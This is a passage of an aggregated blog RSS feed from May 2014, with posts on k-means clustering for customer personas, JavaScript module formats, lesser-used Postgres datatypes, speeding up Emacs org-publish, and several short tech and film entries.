&lt;p&gt;I most commonly hear this term from &amp;ldquo;business people&amp;rdquo;. In fact not too long ago I recall interacting with someone that wanted to define personas for a company. They wanted to give them names, Joe and Mary. Joe is a father of 2, he works between 8 and 5, because he has to pick kids up from school, he&amp;rsquo;s always worked at fortune 100 companies. Mary is single, she&amp;rsquo;s a small business owner, she likes using tools instead of building things herself. If you think this is overly exaggerated on what you might expect that&amp;rsquo;s fair. Lets take a company I&amp;rsquo;m fond of &lt;a href="http://www.travisci.com"&gt;Travis CI&lt;/a&gt;, if someone were to do this for them it might look like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enterprise QA developer&lt;/li&gt;
&lt;li&gt;Startup full stack engineer&lt;/li&gt;
&lt;li&gt;Open source contributor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;While this is all fine and good, a name and what they do doesn&amp;rsquo;t help in the substantial way I&amp;rsquo;d like.&lt;/em&gt; Sure use personas if it helps you think about who you&amp;rsquo;re building the product for, but don&amp;rsquo;t expect customers to say yes I fit into only this bucket by trying to create classifications like this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&amp;rsquo;s rephrase this to be super simple, groupings of people, no groupings of something that have a likely outcome based on some various inputs. Perhaps a better term for it is archtype&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="data-science"&gt;
&lt;div&gt;
Data science
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The application of math or statistics to learn something about your business. It doesn&amp;rsquo;t have to be big data, or NoSQL, simply the application of an algorithm to learn something. Extending it a bit, let&amp;rsquo;s assume it&amp;rsquo;s to do something actionable. This is a bit of a chicken and egg, because you can&amp;rsquo;t look at different data the same way everytime and have a valuable intrepretation. Sometimes it requires using several methods and examining the quality of the results. We can apply a little more clarity and judgement to ease this process though.&lt;/p&gt;
&lt;h3 id="k-means"&gt;
&lt;div&gt;
k-means
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Alright onto the meat of what I was hoping to dig into here, well actually first a little more of a detour. Tracking key data for your business should be extremely clear. Hopefully you&amp;rsquo;re already doing this, if you&amp;rsquo;re not already tracking &lt;a href="/2014/02/26/Tracking-MoM-growth-in-SQL/"&gt;month over month growth&lt;/a&gt; then go implement it today. If you don&amp;rsquo;t know your lifetime value or attrition rate then get on those too. But if you do have that and still are unclear how to move the needle on some goal, maybe that goal is increasing lifetime value then we&amp;rsquo;re at the right place.&lt;/p&gt;
&lt;p&gt;An extremely old algorithm for grouping things together and fairly commonly known in stats communities is &lt;a href="http://en.wikipedia.org/wiki/K-means_clustering"&gt;k-means&lt;/a&gt;. It will group things together based on their likeness into some set, thats where the k comes from, of groups. It&amp;rsquo;s also known as an unsupervised clustering method, because you simply put the data in, and let it create these groupings for you. But why or how is it useful, you know you want to influence lifetime value so you should just find what makes people increase it and move that, well&amp;hellip; we may be able to get there with k-means.&lt;/p&gt;
&lt;h3 id="practicality"&gt;
&lt;div&gt;
Practicality
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Most commonly when you search for k-means you&amp;rsquo;ll find some image similar to the one at the top of the post. This image graphically represents the clustering and the center of those clusters. And while visually interesting doesn&amp;rsquo;t actually tell you how to act upon it. A clearer way is actually often by examing the clusters and whats common, this tells you how to actually treat that archtype differently.&lt;/p&gt;
&lt;p&gt;In his book &lt;a href="http://www.amazon.com/dp/B00F0WRXI0?tag=mypred-20"&gt;Data Smart&lt;/a&gt; John Foreman actually does a great job of laying this out in a pratical way. I&amp;rsquo;m particularly partial to his example also because it uses wine as an example. His example generates a variety of groupings, looking at the surrouding meta data its then possible to discover that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grouping 1 likes Pinot&lt;/li&gt;
&lt;li&gt;Grouping 2 likes buying in bulk&lt;/li&gt;
&lt;li&gt;Grouping 3 likes buying small volume&lt;/li&gt;
&lt;li&gt;Grouping 4 likes bubbly&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From here you can then start to get some idea of what you&amp;rsquo;d do with this. Perhaps you&amp;rsquo;d create a deal each month so that it appeals to all groups, or target them with different deals. Or maybe you&amp;rsquo;d simply not send an email to them if you didn&amp;rsquo;t have a deal that month. If course you could go more granular down into a recommendation engine to get a personalized recommendation for each customer, but for a lot of smaller apps/sites that&amp;rsquo;s simply not feasible.&lt;/p&gt;
&lt;p&gt;So in this case the output would look less like the image at the top and more like a set of 4 groups, then a CSV of every user and which grouping they fall in. Yes, its a less sexy graph, but a much more applicable CSV or excel output.&lt;/p&gt;
&lt;p&gt;In the end what we&amp;rsquo;ve really done is define personas or archtypes based on whats similar between customers vs. arbitrary perceptions we may come in with.&lt;/p&gt;
&lt;h3 id="whats-next"&gt;
&lt;div&gt;
Whats next
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Up next I&amp;rsquo;ll actually dig in on a real world example here. &lt;a href="http://www.twitter.com/alexbaldwin"&gt;Alex&lt;/a&gt; over at &lt;a href="https://hackdesign.org/"&gt;HackDesign&lt;/a&gt; was kind enough to give me access to their data to create a more practical example of this. While I&amp;rsquo;m just now digging in, there should be a tangible example of this to follow.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Thu, 08 May 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/05/08/Personas-data-science-k-means/</guid></item><item><title>Songs in the Morning</title><link>http://evantravers.com/articles/2014/05/08/songs-in-the-morning/</link><description>&lt;p&gt;&lt;img alt="lovely" src="https://images.evantravers.com/articles/2014/05/flower.jpg" /&gt;&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Let me hear in the morning of your steadfast love. (Ps. 143:8)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I keep coming back to this verse because it's been the cry of my heart for a
couple of weeks. I need to hear every day that He loves. Not only that He
loves, but that it is steadfast. It's not going &lt;em&gt;anywhere&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;If we are faithless, He will remain faithful for he cannot disown himself. (2
Tim 2:13) no matter what we have done, we can not out-sin the merciful gift of
Christ.  Not that we should give up and sin in spite of the precious gift, (Rom
6:1) but that in gratitude and praise we should no longer be bound in sorrow to
the weight of our burdens.&lt;/p&gt;
&lt;p&gt;I need so often to return to the Cross at the side of the Narrow Way, and like
little Pilgrim feel my burden bound back down the hill, mine no longer to bear.
Hallelujah.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Thu, 08 May 2014 23:33:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/05/08/songs-in-the-morning/</guid></item><item><title>Fear and Passion</title><link>https://zacs.site/blog/fear-and-passion.html</link><description>&lt;p&gt;I have a tendency to write long, rambling, retrospective introductions filled with background information of dubious value that I, for some reason, nevertheless deign to include as a prelude to beginning my actual article. This time, however, I want to get straight to the point.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/fear-and-passion.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 08 May 2014 21:27:51 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/fear-and-passion.html</guid></item><item><title>In Fear</title><link>https://olshansky.info/movie/in_fear/</link><description>Olshansky's review of In Fear</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 08 May 2014 19:16:03 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/in_fear/</guid></item><item><title>Mocking Dependencies in PHP Unit Tests with Mockery</title><link>https://manuel.kiessling.net/2014/05/08/mocking-dependencies-in-php-unit-tests-with-mockery/</link><description>The following solution is based on the work of my coworker Marcel Frank.  The PHP library Mockery allows to use a simulated version of certain objects within unit tests, where objects are passed into methods as dependencies. This form of simulation is called mocking.  Instead of trying to explain why simulating these objects in the tests makes sense, I will try to illustrate the need for it with an example.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Thu, 08 May 2014 18:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2014/05/08/mocking-dependencies-in-php-unit-tests-with-mockery/</guid></item><item><title>Organizing your Code: Javascript Modules</title><link>https://danielpecos.com/2014/05/08/organizing-code-javascript-modules/</link><description>&lt;p&gt;The way you structure your code is a key factor when you define your source code organization. It will make your life easier or miserable, and once this structure is established it will become a really tedious task to redefine it. That&amp;rsquo;s why you know about the different patterns available and choose the one fits your project best.&lt;/p&gt;
&lt;p&gt;But, why should I care about modules? Well, is the way Javascript offers to organize and encapsulate your code, and if you don&amp;rsquo;t think you need to do it, because maybe it&amp;rsquo;s a small project or you don&amp;rsquo;t care at all, trust me, you are making a huge mistake!&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s start talking about what a module really is, and talking about Javascript modules is talking about Javascript scope: the only way to achieve privacy in Javascript code is enclosing the private code in a closure (an &lt;a href="http://benalman.com/news/2010/11/immediately-invoked-function-expression/"&gt;IIFE – Immediately Invoked Function Expression&lt;/a&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(function() {

  // your code goes here

})();
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And this is exactly all we are going to need to create blocks of encapsulated code, hidden one from another. But modules as we know them today are a little bit more: modules are ways of defining chunks of code that are dynamically loaded.&lt;/p&gt;
&lt;img alt="Asynchronous Module Definition" class="aligncenter size-medium" height="257" src="https://danielpecos.com/assets/2014/05/Asynchronous_Module_Definition_overview-300x257.png" width="300" /&gt;
&lt;p&gt;Currently there are three main different ways of defining a module:&lt;/p&gt;
&lt;h2 id="amd"&gt;AMD&lt;/h2&gt;
&lt;p&gt;Format proposed by Dojo. Uses XHR and eval to dynamically load code, allows defining module dependencies and has a great support for browser loaders (&lt;a href="http://requirejs.org/"&gt;require.js&lt;/a&gt;, &lt;a href="http://github.com/unscriptable/curl"&gt;curl.js&lt;/a&gt;). It also can be used in server-side with require.js:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;AMD module definition&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// foo.js

define("foo", ["bar"], function(bar) {

return function() { ... };

});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;AMD module requirement&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// app.js

require(["foo"], function(foo) {

...

});
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="commonjs"&gt;Common.JS&lt;/h2&gt;
&lt;p&gt;Born from a group of volunteer aiming to standardize modules and packages in Javascript. This is the pattern used by Node.js, but it&amp;rsquo;s also supported in browsers using &lt;a href="http://github.com/unscriptable/curl"&gt;curl.js&lt;/a&gt; or &lt;a href="http://sproutcore.com"&gt;SproutCore&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;CJS module definition&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// foo.js

exports.foo = function() { ... }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;CJS module requirement&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// app.js

foo = require("./foo").foo
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="es6--es-harmony"&gt;ES6 / ES Harmony&lt;/h2&gt;
&lt;p&gt;Next version of the language incorporates some new features, including, &lt;a href="https://wiki.mozilla.org/ES6_plans"&gt;among others&lt;/a&gt;, a standard way to define and consume modules:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;ES6 module definition&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// foo.js

module foo {

  export var foo = function() { ... };

}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;ES6 module requirement&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;// app.js

module foo from "./foo" // remote URLs also allowed here

import * from foo;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;AMD &amp;amp; CommonJS have a wide support, but in my opinion, each of them have a slightly different approach: AMD seems to fit better in browser-side (it&amp;rsquo;s inherently asynchronous) and CommonJS seems to fit better in server-side, where synchronously loading code is a choice. Of course, you can use third libraries to use them in whatever environment, but it doesn&amp;rsquo;t seem the natural way.&lt;/p&gt;
&lt;p&gt;There are some hybrid approaches, so you don&amp;rsquo;t have to pick any them, but both, but this only makes things harder and difficult to follow.&lt;/p&gt;
&lt;p&gt;Luckily, ES6 modules are (or will be) part of our day-to-day, so I strongly suggest this should be the way to go. Currently,  browser support for ES6 modules is only achieved via &lt;em&gt;transpilers&lt;/em&gt; or libraries, so we&amp;rsquo;ll have to wait a little bit longer to use this feature. V8 implementation is still incomplete, so no luck neither in server-side.&lt;/p&gt;
&lt;p&gt;Until then, you&amp;rsquo;ll still have to choose a pattern to go with. I recommend you not to enter this holy war, but just to pick one of them and keep coding great stuff.&lt;/p&gt;
&lt;img alt="Keep Coding" class="aligncenter size-full" height="140" src="https://danielpecos.com/assets/2014/05/download.png" width="120" /&gt;
&lt;p&gt;Bibliography:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://addyosmani.com/writing-modular-js/"&gt;http://addyosmani.com/writing-modular-js/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tagneto.blogspot.com.es/2011/04/on-inventing-js-module-formats-and.html"&gt;http://tagneto.blogspot.com.es/2011/04/on-inventing-js-module-formats-and.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://requirejs.org/docs/whyamd.html"&gt;http://requirejs.org/docs/whyamd.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; &lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 08 May 2014 14:35:09 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2014/05/08/organizing-code-javascript-modules/</guid></item><item><title>Boyhood</title><link>https://olshansky.info/movie/boyhood/</link><description>Olshansky's review of Boyhood</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 08 May 2014 13:43:32 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/boyhood/</guid></item><item><title>Implementing C# Linq Distinct on Custom Object List</title><link>https://boyter.org/2014/05/implementing-c-linq-distinct-custom-object-list/</link><description>&lt;p&gt;Ever wanted to implement a distinct over a custom object list in C# before? You quickly discover that it fails to work. Sadly there is a lack of decent documentation about this and a lot of FUD. Since I lost a bit of time hopefully this blog post can be picked up as the answer.&lt;/p&gt;
&lt;p&gt;Thankfully its not as difficult as you would image. Assuming you have a simple custom object which contains an Id, and you want to use that Id to get a distinct list all you need to do is add the following to the object.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 08 May 2014 02:11:49 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/05/implementing-c-linq-distinct-custom-object-list/</guid></item><item><title>Postgres Datatypes – The ones you're not using.</title><link>/2014/05/07/Postgres-Datatypes-The-ones-youre-not-using./</link><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Postgres has a variety of datatypes, in fact quite a few more than most other databases. Most commonly applications take advantage of the standard ones – integers, text, numeric, etc. Almost every application needs these basic types, the rarer ones may be needed less frequently. And while not needed on every application when you do need them they can be an extremely handy. So without further ado let&amp;rsquo;s look at some of these rarer but awesome types.&lt;/p&gt;
&lt;h3 id="hstore"&gt;
&lt;div&gt;
hstore
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Yes, I&amp;rsquo;ve talked about &lt;a href="/2013/07/03/hstore-vs-json/"&gt;this one before&lt;/a&gt;, yet still not enough people are using it. Of this list of datatypes this is one that could also have benefit for most if not all applications.&lt;/p&gt;
&lt;p&gt;Hstore is a key-value store directly within Postgres. This means you can easily add new keys and values &lt;em&gt;(optionally)&lt;/em&gt;, without haveing to run a migration to setup new columns. Further you can still get great performance by using Gin and GiST indexes with them, which automatically index all keys and values for hstore.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It&amp;rsquo;s of note that hstore is an extension and not enabled by default. If you want the ins and outs of getting hands on with it, give the article on &lt;a href="http://postgresguide.com/sexy/hstore.html"&gt;Postgres Guide&lt;/a&gt; a read.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="range-types"&gt;
&lt;div&gt;
Range types
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;If there is ever a time where you have two columns in your database with one being a from, another being a to, you probably want to be using &lt;a href="http://www.postgresql.org/docs/9.2/static/rangetypes.html"&gt;range types&lt;/a&gt;. Range types are just that a set of ranges. A super common use of them is when doing anything with calendaring. The place where they really become useful is in their ability to apply constraints on those ranges. This means you can make sure you don&amp;rsquo;t have overlapping time issues, and don&amp;rsquo;t have to rebuild heavy application logic to accomplish it.&lt;/p&gt;
&lt;h3 id="timestamp-with-timezone"&gt;
&lt;div&gt;
Timestamp with Timezone
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Timestamps are annoying, plain and simple. If you&amp;rsquo;ve re-invented handling different timezones within your application you&amp;rsquo;ve wasted plenty of time and likely done it wrong. If you&amp;rsquo;re using plain timestamps within your application further there&amp;rsquo;s a good chance they dont even mean what you think they mean. Timestamps with timezone or timestamptz automatically includes the timezone with the timestamp. This makes it easy to convert between timezones, know exactly what you&amp;rsquo;re dealing with, and will in short save you a ton of time. There&amp;rsquo;s seldom a case you shouldn&amp;rsquo;t be using these.&lt;/p&gt;
&lt;h3 id="uuid"&gt;
&lt;div&gt;
UUID
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Integers as primary keys aren&amp;rsquo;t great. Sure if you&amp;rsquo;re running a small blog they work fine, but if you&amp;rsquo;re application has to scale to a large size then integers can create problems. First you can run out of them, second it can make other details such as sharding a little more annoying. At the same time they are super readable. However, using the actual UUID datatype and extension to automatically generate them can be incredibly handy if you have to scale an application.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Similar to hstore, there&amp;rsquo;s an &lt;a href="http://www.postgresql.org/docs/9.3/static/uuid-ossp.html"&gt;extension&lt;/a&gt; that makes the UUID much more useful.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="binary-json"&gt;
&lt;div&gt;
Binary JSON
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;This isn&amp;rsquo;t available yet, but will be in Postgres 9.4. &lt;a href="/2014/03/24/Postgres-9.4-Looking-up/"&gt;Binary JSON&lt;/a&gt; is of course JSON directly within your database, but also lets you add Gin indexes directly onto JSON. This means a much simpler setup in not only inserting JSON, but having fast reads. If you want to learn a bit more about this, &lt;a href="/training/index.html"&gt;sign up&lt;/a&gt; to &lt;a href="/training/index.html"&gt;get notified&lt;/a&gt; of training regarding the upcoming PostgreSQL 9.4 release.&lt;/p&gt;
&lt;h3 id="money"&gt;
&lt;div&gt;
Money
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Please don&amp;rsquo;t use this&amp;hellip; The money datatype assumes a single currency type, and generally brings with it more caveats than simply using a numeric type.&lt;/p&gt;
&lt;h3 id="more"&gt;
&lt;div&gt;
More
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;It&amp;rsquo;s already been pointed out on twitter that I missed a few. To give a quick highlight of some others:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.craigkerstiens.com/2012/08/20/arrays-in-postgres/"&gt;Arrays&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Interval – time intervals, such as &amp;lsquo;1 hour&amp;rsquo;, &amp;lsquo;1 day&amp;rsquo;&lt;/li&gt;
&lt;li&gt;ISN - should help for anything with products&lt;/li&gt;
&lt;li&gt;Inet - Tracking IPs&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="in-conclusion"&gt;
&lt;div&gt;
In conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;What&amp;rsquo;d I miss? What are you&amp;rsquo;re favorite types? Let me know &lt;a href="http://www.twitter.com/craigkerstiens"&gt;@craigkerstiens&lt;/a&gt;, or sign-up below to updates on Postgres content and first access to training.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 07 May 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/05/07/Postgres-Datatypes-The-ones-youre-not-using./</guid></item><item><title>Speeding Up Org Mode Publishing</title><link>https://bastibe.de/2014-05-07-speeding-up-org-publishing.html</link><description>&lt;p&gt;I use &lt;code&gt;org-mode&lt;/code&gt; to write my blog, and &lt;code&gt;org-publish&lt;/code&gt; as my static site generator. While this system works great, I have found it to be really really slow. At this point, my blog has 39 posts, and &lt;code&gt;org-publish&lt;/code&gt; will take upwards of a &lt;em&gt;minute&lt;/em&gt; to re-generate all of them. To make matters worse, my workflow usually involves several re-generations per post. This gets old pretty quickly.&lt;/p&gt;
&lt;p&gt;Since I am on a long train ride today, I decided to have a go at this problem. By the way, train rides and hacking on Emacs are a perfect match: Internet connectivity on trains is usually terrible, but Emacs is self-documenting, so internet access doesn't matter as much. It is sobering to work without an internet connection every once in a while, and Emacs is a perfect target for this kind of work.&lt;/p&gt;
&lt;p&gt;One of the many things I learned on train rides is that Emacs in fact contains its own profiler! So, I ran &lt;code&gt;(progn (profiler-start 'cpu) (org-publish &amp;quot;blog&amp;quot;) (profiler-report))&lt;/code&gt; to get a hierarchical list of where &lt;code&gt;org-publish&lt;/code&gt; was spending its time. Turns out, most of its total run time was spent in functions relating to version control (starting with &lt;code&gt;vc-&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Some package in my configuration set up &lt;code&gt;vc-find-file-hook&lt;/code&gt; as part of &lt;code&gt;find-file-hook&lt;/code&gt;. This means that every time &lt;code&gt;org-publish&lt;/code&gt; opens a file, Emacs will look for the containing git repository and query its status. This takes forever! Worse yet, I don't even use &lt;code&gt;vc-git&lt;/code&gt; at all. All my git interaction is done through &lt;code&gt;magit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But Emacs wouldn't be Emacs if this could not be fixed with a line or two of elisp. &lt;code&gt;(remove-hook 'find-file-hooks 'vc-find-file-hook)&lt;/code&gt; will do the trick. This brought the runtime of &lt;code&gt;org-publish&lt;/code&gt; down to 15 seconds. Yay for profiling and yay for Emacs!&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Wed, 07 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-05-07-speeding-up-org-publishing.html</guid></item><item><title>Keeping git submodules in sync with your branches</title><link>https://purpleidea.com/blog/2014/05/06/keeping-git-submodules-in-sync-with-your-branches/</link><description>&lt;p&gt;This is a quick trick for making working with &lt;a href="http://www.git-scm.com/book/en/Git-Tools-Submodules"&gt;&lt;em&gt;git submodules&lt;/em&gt;&lt;/a&gt; more magic.&lt;/p&gt;
&lt;p&gt;One day you might find that using &lt;em&gt;git submodules&lt;/em&gt; is needed for your project. It&amp;rsquo;s probably not necessary for everyday hacking, but if you&amp;rsquo;re glue&lt;em&gt;-ing&lt;/em&gt; things together, it can be quite useful. &lt;a href="https://github.com/purpleidea/puppet-gluster/" title="puppet-gluster"&gt;Puppet-Gluster&lt;/a&gt; uses &lt;a href="https://github.com/purpleidea/puppet-gluster/tree/master/vagrant/gluster/puppet/modules"&gt;this technique&lt;/a&gt; to easily include all the dependencies needed for a &lt;a href="https://purpleidea.com/blog/2014/01/08/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/" title="Automatically deploying GlusterFS with Puppet-Gluster + Vagrant!"&gt;Puppet-Gluster+Vagrant automatic deployment&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re a good hacker, you develop things in separate feature branches. Example:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Tue, 06 May 2014 22:34:13 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/05/06/keeping-git-submodules-in-sync-with-your-branches/</guid></item><item><title>Node.js blog: NodeGeek</title><link>https://danielpecos.com/2014/05/06/node-js-blog-nodegeek/</link><description>&lt;p&gt;Javascript is an old well-known friend that is &lt;a href="https://blog.nodejitsu.com/npm-innovation-through-modularity"&gt;growing rapidly&lt;/a&gt; and gaining traction since Node.js, a command line Javascript interpreter based on Chrome V8 Javascript Virtual Machine, was published. Its community is &lt;a href="http://npmjs.org"&gt;building great stuff&lt;/a&gt;, and &lt;a href="http://blog.appfog.com/node-js-is-taking-over-the-enterprise-whether-you-like-it-or-not/"&gt;more&lt;/a&gt; and &lt;a href="http://www.ebaytechblog.com/2013/05/17/how-we-built-ebays-first-node-js-application/"&gt;more&lt;/a&gt; companies are moving into this stack, with a high success ratio.&lt;/p&gt;
&lt;h2 style="text-align: center;"&gt;
  &lt;a href="http://nodegeek.net"&gt;http://nodegeek.net&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://nodegeek.net"&gt;&lt;img alt="NodeGeek" class="alignleft" height="136" src="https://danielpecos.com/assets/2014/05/nodejs-150x150.png" width="150" /&gt;&lt;/a&gt;Luckily for me, for my last two professional years I have been involved in one way or another with it, been able to relearn the language and discover its framework. And since not long ago, I&amp;rsquo;ve been writing articles for a new site where I could focus about this amazing programming stack:&lt;/p&gt;
&lt;p class="size-thumbnail"&gt;
  Until this very moment I have post some quite successful posts related to its &lt;a href="http://nodegeek.net/2013/12/nodejs-v8-history/"&gt;history&lt;/a&gt; or its &lt;a href="http://nodegeek.net/2014/03/create-publish-npm-module/"&gt;package system&lt;/a&gt;, and many more are almost ready to be published.
&lt;/p&gt;
&lt;p&gt;So if you are interested in this technology I would suggest you to subscribe to its &lt;a href="http://nodegeek.net"&gt;mailing list&lt;/a&gt; in order to be noticed for latest published posts. Or follow its &lt;a href="http://twitter.com/nodegeek"&gt;twitter account&lt;/a&gt;! And if you think you could collaborate with this project, don&amp;rsquo;t hesitate to &lt;a href="https://danielpecos.com/about-me" title="About me"&gt;contact me&lt;/a&gt;!&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Tue, 06 May 2014 19:54:48 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2014/05/06/node-js-blog-nodegeek/</guid></item><item><title>Pompeii</title><link>https://olshansky.info/movie/pompeii/</link><description>Olshansky's review of Pompeii</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 06 May 2014 17:40:20 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/pompeii/</guid></item><item><title>Vampire Academy</title><link>https://olshansky.info/movie/vampire_academy/</link><description>Olshansky's review of Vampire Academy</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 06 May 2014 17:36:24 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/vampire_academy/</guid></item><item><title>Finding Duplicate Linking in Multi-Module Flex Apps</title><link>https://joshuarogers.net/articles/2014-05/finding-duplicate-linking-multi-module-flex-apps/</link><description>The Setup Thirty-eight megabytes. Over time our application had somehow grown to 38 megabytes. The road to that point made sense: features needed to be added, and with features came new libraries each with a few dependencies. Still, somehow the path of good intentions had led us to an application that weighed in at a colossal 38 megabytes. The would have actually been a reasonable size if it weren't for one slight detail: it was a web app.</description><author>Joshua Rogers</author><pubDate>Mon, 05 May 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-05/finding-duplicate-linking-multi-module-flex-apps/</guid></item><item><title>Virtual Machines vs Containers</title><link>https://www.danstroot.com/posts/2014-05-05-virtual-machines-vs-containers</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/docker.png" /&gt;&lt;br /&gt;&lt;br /&gt;Personally I think the next wave of infrastructure efficiency will be driven by Linux container technology (LinuX Containers = LXC). The LXC container approach does not require a hypervisor - instead you run isolated "containers" on a Linux host. LXC provides operating system-level virtualization leveraging cgroups (control groups) to completely isolate the operating environment, including process trees, network, user ids and mounted file systems. This work was started by engineers at Google and in late 2007 it was merged into kernel version 2.6.24.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-05-05-virtual-machines-vs-containers"&gt;Virtual Machines vs Containers&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Mon, 05 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-05-05-virtual-machines-vs-containers</guid></item><item><title>OpRequest flow in RADOS OSD server</title><link>https://makedist.com/posts/2014/05/05/oprequest-flow-in-rados-osd-server/</link><description>Tracing the flow of object request handling in Ceph.</description><author>Noah Watkins</author><pubDate>Mon, 05 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/05/05/oprequest-flow-in-rados-osd-server/</guid></item><item><title>Gastropoda, the name</title><link>https://liza.io/gastropoda-the-name/</link><description>&lt;p&gt;The JavaScript/HTML5 version of this game was called A Game of Snails, but that won&amp;rsquo;t really do for the PHP iteration of the game. I figured it was time to think of a proper name for this thing.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 04 May 2014 20:17:03 GMT</pubDate><guid isPermaLink="true">https://liza.io/gastropoda-the-name/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-42814.html</link><description>&lt;p&gt;Just a few shows for you this week, unfortunately. I would rather post a short list than pass mediocre episodes off as something much greater though, so I hope you can find it in your heart to forgive me. Without further ado, then, I present the best podcast episodes from this past week.&lt;/p&gt;
